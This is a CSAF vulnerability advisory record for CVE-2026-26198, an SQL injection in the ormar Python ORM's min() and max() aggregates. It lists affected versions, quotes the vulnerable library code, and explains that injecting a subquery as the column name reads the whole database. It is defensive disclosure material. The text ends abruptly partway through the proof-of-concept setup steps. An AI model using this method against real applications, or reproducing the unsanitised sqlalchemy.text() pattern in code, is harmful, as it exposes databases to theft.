{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-26198",
        "tracking": {
            "current_release_date": "2026-03-25T18:48:38.095062Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-26198",
            "initial_release_date": "2026-02-23T22:39:42.477277Z",
            "revision_history": [
                {
                    "date": "2026-02-23T22:39:42.477277Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-23T22:39:54.133418Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-02-24T00:36:55.689108Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (41).| Product Identifiers created (40).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-02-24T00:37:02.331395Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-24T03:25:02.991975Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-02-24T03:25:10.986267Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-24T03:38:37.550144Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-02-24T03:38:41.565421Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-24T14:12:16.467502Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-02-24T14:12:18.075029Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-24T16:39:50.871194Z",
                    "number": "11",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-02-24T18:36:17.197405Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-02-24T21:38:58.260232Z",
                    "number": "13",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-02-25T00:21:47.742279Z",
                    "number": "14",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (38).| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T00:43:34.489251Z",
                    "number": "15",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products created (1)."
                },
                {
                    "date": "2026-02-25T20:26:44.482197Z",
                    "number": "16",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-02-25T20:26:46.656840Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-28T12:28:16.195720Z",
                    "number": "18",
                    "summary": "Products created (38)."
                },
                {
                    "date": "2026-02-28T12:28:26.831909Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-02T10:42:10.913365Z",
                    "number": "20",
                    "summary": "Products removed (38)."
                },
                {
                    "date": "2026-03-02T16:14:30.727003Z",
                    "number": "21",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products created (1)."
                },
                {
                    "date": "2026-03-02T16:14:39.309923Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-03T06:11:57.442596Z",
                    "number": "23",
                    "summary": "Products connected (38)."
                },
                {
                    "date": "2026-03-20T09:44:33.455375Z",
                    "number": "24",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:44:36.159680Z",
                    "number": "25",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:48:26.201016Z",
                    "number": "26",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:48:32.103459Z",
                    "number": "27",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "27"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.0",
                                "product": {
                                    "name": "vers:unknown/0.10.0",
                                    "product_id": "CSAFPID-5681859",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.1",
                                "product": {
                                    "name": "vers:unknown/0.10.1",
                                    "product_id": "CSAFPID-5681860",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.10",
                                "product": {
                                    "name": "vers:unknown/0.10.10",
                                    "product_id": "CSAFPID-5681861",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.11",
                                "product": {
                                    "name": "vers:unknown/0.10.11",
                                    "product_id": "CSAFPID-5681862",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.12",
                                "product": {
                                    "name": "vers:unknown/0.10.12",
                                    "product_id": "CSAFPID-5681863",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.13",
                                "product": {
                                    "name": "vers:unknown/0.10.13",
                                    "product_id": "CSAFPID-5681864",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.14",
                                "product": {
                                    "name": "vers:unknown/0.10.14",
                                    "product_id": "CSAFPID-5681865",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.15",
                                "product": {
                                    "name": "vers:unknown/0.10.15",
                                    "product_id": "CSAFPID-5681866",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.16",
                                "product": {
                                    "name": "vers:unknown/0.10.16",
                                    "product_id": "CSAFPID-5681867",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.17",
                                "product": {
                                    "name": "vers:unknown/0.10.17",
                                    "product_id": "CSAFPID-5681868",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.18",
                                "product": {
                                    "name": "vers:unknown/0.10.18",
                                    "product_id": "CSAFPID-5681869",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.19",
                                "product": {
                                    "name": "vers:unknown/0.10.19",
                                    "product_id": "CSAFPID-5681870",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.2",
                                "product": {
                                    "name": "vers:unknown/0.10.2",
                                    "product_id": "CSAFPID-5681871",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.20",
                                "product": {
                                    "name": "vers:unknown/0.10.20",
                                    "product_id": "CSAFPID-5681872",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.21",
                                "product": {
                                    "name": "vers:unknown/0.10.21",
                                    "product_id": "CSAFPID-5681873",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.22",
                                "product": {
                                    "name": "vers:unknown/0.10.22",
                                    "product_id": "CSAFPID-5681874",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.23",
                                "product": {
                                    "name": "vers:unknown/0.10.23",
                                    "product_id": "CSAFPID-5681875",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.24",
                                "product": {
                                    "name": "vers:unknown/0.10.24",
                                    "product_id": "CSAFPID-5681876",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.25",
                                "product": {
                                    "name": "vers:unknown/0.10.25",
                                    "product_id": "CSAFPID-5681877",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.3",
                                "product": {
                                    "name": "vers:unknown/0.10.3",
                                    "product_id": "CSAFPID-5681878",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.4",
                                "product": {
                                    "name": "vers:unknown/0.10.4",
                                    "product_id": "CSAFPID-5681879",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.5",
                                "product": {
                                    "name": "vers:unknown/0.10.5",
                                    "product_id": "CSAFPID-5681880",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.6",
                                "product": {
                                    "name": "vers:unknown/0.10.6",
                                    "product_id": "CSAFPID-5681881",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.7",
                                "product": {
                                    "name": "vers:unknown/0.10.7",
                                    "product_id": "CSAFPID-5681882",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.8",
                                "product": {
                                    "name": "vers:unknown/0.10.8",
                                    "product_id": "CSAFPID-5681883",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.9",
                                "product": {
                                    "name": "vers:unknown/0.10.9",
                                    "product_id": "CSAFPID-5681884",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.10.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.0",
                                "product": {
                                    "name": "vers:unknown/0.11.0",
                                    "product_id": "CSAFPID-5681885",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.11.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.1",
                                "product": {
                                    "name": "vers:unknown/0.11.1",
                                    "product_id": "CSAFPID-5681886",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.2",
                                "product": {
                                    "name": "vers:unknown/0.11.2",
                                    "product_id": "CSAFPID-5681887",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.11.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.3",
                                "product": {
                                    "name": "vers:unknown/0.11.3",
                                    "product_id": "CSAFPID-5681888",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.11.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.0",
                                "product": {
                                    "name": "vers:unknown/0.12.0",
                                    "product_id": "CSAFPID-5681889",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.12.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.1",
                                "product": {
                                    "name": "vers:unknown/0.12.1",
                                    "product_id": "CSAFPID-5681890",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.12.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.2",
                                "product": {
                                    "name": "vers:unknown/0.12.2",
                                    "product_id": "CSAFPID-5681891",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.12.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.3",
                                "product": {
                                    "name": "vers:unknown/0.12.3",
                                    "product_id": "CSAFPID-5681892",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.12.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.20.0",
                                "product": {
                                    "name": "vers:unknown/0.20.0",
                                    "product_id": "CSAFPID-5681893",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.20.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.20.1",
                                "product": {
                                    "name": "vers:unknown/0.20.1",
                                    "product_id": "CSAFPID-5681894",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.20.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.20.2",
                                "product": {
                                    "name": "vers:unknown/0.20.2",
                                    "product_id": "CSAFPID-5681895",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.20.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.21.0",
                                "product": {
                                    "name": "vers:unknown/0.21.0",
                                    "product_id": "CSAFPID-5681897",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.21.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.22.0",
                                "product": {
                                    "name": "vers:unknown/0.22.0",
                                    "product_id": "CSAFPID-5681898",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.22.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.9",
                                "product": {
                                    "name": "vers:unknown/0.9.9",
                                    "product_id": "CSAFPID-5681899",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/ormar@0.9.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.9.9|<0.23.0",
                                "product": {
                                    "name": "vers:unknown/>=0.9.9|<0.23.0",
                                    "product_id": "CSAFPID-5681900",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:collerek:ormar:*:*:*:*:*:python:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "ormar"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.23.0",
                                "product": {
                                    "name": "vers:unknown/0.23.0",
                                    "product_id": "CSAFPID-5908750"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.9.9|<0.23.0",
                                "product": {
                                    "name": "vers:unknown/>=0.9.9|<0.23.0",
                                    "product_id": "CSAFPID-5908751"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "pypi/ormar"
                    }
                ],
                "category": "vendor",
                "name": "collerek"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:deb/unknown",
                                        "product": {
                                            "name": "vers:deb/unknown",
                                            "product_id": "CSAFPID-5700554"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "ormar"
                            }
                        ],
                        "category": "product_family",
                        "name": "bookworm"
                    }
                ],
                "category": "vendor",
                "name": "debian"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.0",
                                "product": {
                                    "name": "vers:unknown/0.10.0",
                                    "product_id": "CSAFPID-5748835"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.1",
                                "product": {
                                    "name": "vers:unknown/0.10.1",
                                    "product_id": "CSAFPID-5748836"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.10",
                                "product": {
                                    "name": "vers:unknown/0.10.10",
                                    "product_id": "CSAFPID-5748837"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.11",
                                "product": {
                                    "name": "vers:unknown/0.10.11",
                                    "product_id": "CSAFPID-5748838"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.12",
                                "product": {
                                    "name": "vers:unknown/0.10.12",
                                    "product_id": "CSAFPID-5748839"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.13",
                                "product": {
                                    "name": "vers:unknown/0.10.13",
                                    "product_id": "CSAFPID-5748840"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.14",
                                "product": {
                                    "name": "vers:unknown/0.10.14",
                                    "product_id": "CSAFPID-5748841"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.15",
                                "product": {
                                    "name": "vers:unknown/0.10.15",
                                    "product_id": "CSAFPID-5748842"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.16",
                                "product": {
                                    "name": "vers:unknown/0.10.16",
                                    "product_id": "CSAFPID-5748843"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.17",
                                "product": {
                                    "name": "vers:unknown/0.10.17",
                                    "product_id": "CSAFPID-5748844"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.18",
                                "product": {
                                    "name": "vers:unknown/0.10.18",
                                    "product_id": "CSAFPID-5748845"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.19",
                                "product": {
                                    "name": "vers:unknown/0.10.19",
                                    "product_id": "CSAFPID-5748846"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.2",
                                "product": {
                                    "name": "vers:unknown/0.10.2",
                                    "product_id": "CSAFPID-5748847"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.20",
                                "product": {
                                    "name": "vers:unknown/0.10.20",
                                    "product_id": "CSAFPID-5748848"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.21",
                                "product": {
                                    "name": "vers:unknown/0.10.21",
                                    "product_id": "CSAFPID-5748849"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.22",
                                "product": {
                                    "name": "vers:unknown/0.10.22",
                                    "product_id": "CSAFPID-5748850"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.23",
                                "product": {
                                    "name": "vers:unknown/0.10.23",
                                    "product_id": "CSAFPID-5748851"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.24",
                                "product": {
                                    "name": "vers:unknown/0.10.24",
                                    "product_id": "CSAFPID-5748852"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.25",
                                "product": {
                                    "name": "vers:unknown/0.10.25",
                                    "product_id": "CSAFPID-5748853"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.3",
                                "product": {
                                    "name": "vers:unknown/0.10.3",
                                    "product_id": "CSAFPID-5748854"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.4",
                                "product": {
                                    "name": "vers:unknown/0.10.4",
                                    "product_id": "CSAFPID-5748855"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.5",
                                "product": {
                                    "name": "vers:unknown/0.10.5",
                                    "product_id": "CSAFPID-5748856"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.6",
                                "product": {
                                    "name": "vers:unknown/0.10.6",
                                    "product_id": "CSAFPID-5748857"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.7",
                                "product": {
                                    "name": "vers:unknown/0.10.7",
                                    "product_id": "CSAFPID-5748858"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.8",
                                "product": {
                                    "name": "vers:unknown/0.10.8",
                                    "product_id": "CSAFPID-5748859"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.9",
                                "product": {
                                    "name": "vers:unknown/0.10.9",
                                    "product_id": "CSAFPID-5748860"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.0",
                                "product": {
                                    "name": "vers:unknown/0.11.0",
                                    "product_id": "CSAFPID-5748861"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.1",
                                "product": {
                                    "name": "vers:unknown/0.11.1",
                                    "product_id": "CSAFPID-5748862"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.2",
                                "product": {
                                    "name": "vers:unknown/0.11.2",
                                    "product_id": "CSAFPID-5748863"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.3",
                                "product": {
                                    "name": "vers:unknown/0.11.3",
                                    "product_id": "CSAFPID-5748864"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.0",
                                "product": {
                                    "name": "vers:unknown/0.12.0",
                                    "product_id": "CSAFPID-5748865"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.1",
                                "product": {
                                    "name": "vers:unknown/0.12.1",
                                    "product_id": "CSAFPID-5748866"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.2",
                                "product": {
                                    "name": "vers:unknown/0.12.2",
                                    "product_id": "CSAFPID-5748867"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.20.1",
                                "product": {
                                    "name": "vers:unknown/0.20.1",
                                    "product_id": "CSAFPID-5748868"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.20.2",
                                "product": {
                                    "name": "vers:unknown/0.20.2",
                                    "product_id": "CSAFPID-5748869"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.21.0",
                                "product": {
                                    "name": "vers:unknown/0.21.0",
                                    "product_id": "CSAFPID-5748870"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.22.0",
                                "product": {
                                    "name": "vers:unknown/0.22.0",
                                    "product_id": "CSAFPID-5748871"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.9",
                                "product": {
                                    "name": "vers:unknown/0.9.9",
                                    "product_id": "CSAFPID-5748872"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "ormar"
                    }
                ],
                "category": "vendor",
                "name": "ormar-orm"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.9.9|<=0.22.0",
                                "product": {
                                    "name": "vers:unknown/>=0.9.9|<=0.22.0",
                                    "product_id": "CSAFPID-5753653"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "ormar"
                    }
                ],
                "category": "vendor",
                "name": "unknown"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-26198",
            "cwe": {
                "id": "CWE-89",
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "# Report of SQL Injection Vulnerability in Ormar ORM\n\n## A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.\n\n## Brief description\n\nWhen performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.\n\n## Affected versions\n\n```\n0.9.9 - 0.12.2\n0.20.0b1 - 0.22.0 (latest)\n```\n\nThe vulnerable `SelectAction.get_text_clause()` method and the `min()`/`max()` aggregate functions were introduced together in commit `ff9d412` (March 12, 2021) and first released in version **0.9.9**. The vulnerable code has never been modified since — `get_text_clause()` is identical in every subsequent version through the latest **0.21.0**.\n\nVersions prior to 0.9.9 do not contain the `min()`/`max()` aggregate feature and are not affected.\n\nThe following uses the latest ormar 0.21.0 as an example to illustrate the attack.\n\n## Vulnerability details\n\nWhen performing an aggregate query, the `QuerySet.max()` method (line 721, `queryset.py`) passes user input to `_query_aggr_function()`. This method creates a `SelectAction` object for each column name. The column string is split by `__` and the last part becomes `self.field_name` — with no validation against the model's actual fields.\n\nThe critical vulnerability is in `SelectAction.get_text_clause()` (line 41-43, `select_action.py`), which directly passes `self.field_name` into `sqlalchemy.text()`:\n\n```python\n#select_action.py line 41-43\ndef get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:\n    alias = f\"{self.table_prefix}_\" if self.table_prefix else \"\"\n    return sqlalchemy.text(f\"{alias}{self.field_name}\")  # unsanitised user input!\n```\n\nThe `apply_func()` method then wraps this raw text clause inside `func.max()`, producing SQL like `max(<attacker_input>)`. Since `sqlalchemy.text()` treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.\n\nThe `_query_aggr_function()` method (line 704-719, `queryset.py`) only validates field types for `sum` and `avg`, leaving `min` and `max` completely unprotected:\n\n```python\n#queryset.py line 704-719\nasync def _query_aggr_function(self, func_name: str, columns: List) -> Any:\n    func = getattr(sqlalchemy.func, func_name)\n    select_actions = [\n        SelectAction(select_str=column, model_cls=self.model) for column in columns\n    ]\n    if func_name in [\"sum\", \"avg\"]:          # <-- only sum/avg are checked!\n        if any(not x.is_numeric for x in select_actions):\n            raise QueryDefinitionError(...)\n    select_columns = [x.apply_func(func, use_label=True) for x in select_actions]\n    expr = self.build_select_expression().alias(f\"subquery_for_{func_name}\")\n    expr = sqlalchemy.select(*select_columns).select_from(expr)\n    result = await self.database.fetch_one(expr)\n    return dict(result) if len(result) > 1 else result[0]\n```\n\nTo reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.\n\nNote: The PoC consists of two files provided in the attachments — `poc_server.py` (the vulnerable server) and `poc_attacker.py` (the HTTP-based attacker script).\n<h2>Start the vulnerable application</h2>\n<ol>\n<li>Install dependencies:</li>\n</ol>\n<pre><code class=\"language-bash\">pip install ormar databases aiosqlite fastapi uvicorn httpx\n</code></pre>\n<ol>\n<li>The vulnerable server (<code>poc_server.py</code>) is based on the <strong>official ormar FastAPI example</strong> (<a href=\"https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py\">ormar/examples/fastapi_quick_start.py</a>). The only modification is the addition of a <code>/items/stats</code> endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.</li>\n</ol>\n<p>The server defines three models:</p>\n<ul>\n<li><code>Category</code> and <code>Item</code> — from the official ormar example 